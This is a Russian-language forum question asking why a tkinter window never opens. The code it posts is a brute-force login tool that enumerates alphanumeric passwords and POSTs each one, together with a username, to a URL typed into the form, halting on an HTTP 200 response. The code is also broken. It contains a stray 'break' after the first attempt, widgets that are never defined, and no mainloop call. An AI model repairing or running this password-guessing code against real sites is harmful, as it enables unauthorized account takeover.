Не показывается окно

Помогите пожалуйста с программой, не могу понять почему не запускается окно, хоть в редакторе и не выдает ошибок.

from tkinter import *
import requests
from tkinter import messagebox, ttk
from tkinter.ttk import Progressbar
import flask
import time

tk = Tk()


def procstart():
    lone.configure(text="func started...")
    messagebox.showinfo('Sucsessful!', 'Func started')
    alphabet = ("1234567890qwertyuiopasdfghjklzxcvbnm")
    base = len(alphabet)

    length = 0
    counter = 0
    while True:
        password = ""

        temp = counter
        while temp > 0:
            rest = temp % base
            temp = temp // base
            password = alphabet[rest] + password
        while len(password) < length:
            password = alphabet[0] + password

        print(password)
        response = requests.post(txt_one.get(), json={'login': txt.get(), 'password': password})

        resp = int(response.status_code)
        if resp == 200:
            print(password)
        break

        if password == alphabet[-1] * length:
            length += 1
            counter = 0
        else:
            counter += 1


for i in range(100):
    pbar = 0
    time.sleep(60)
    pbar += 1
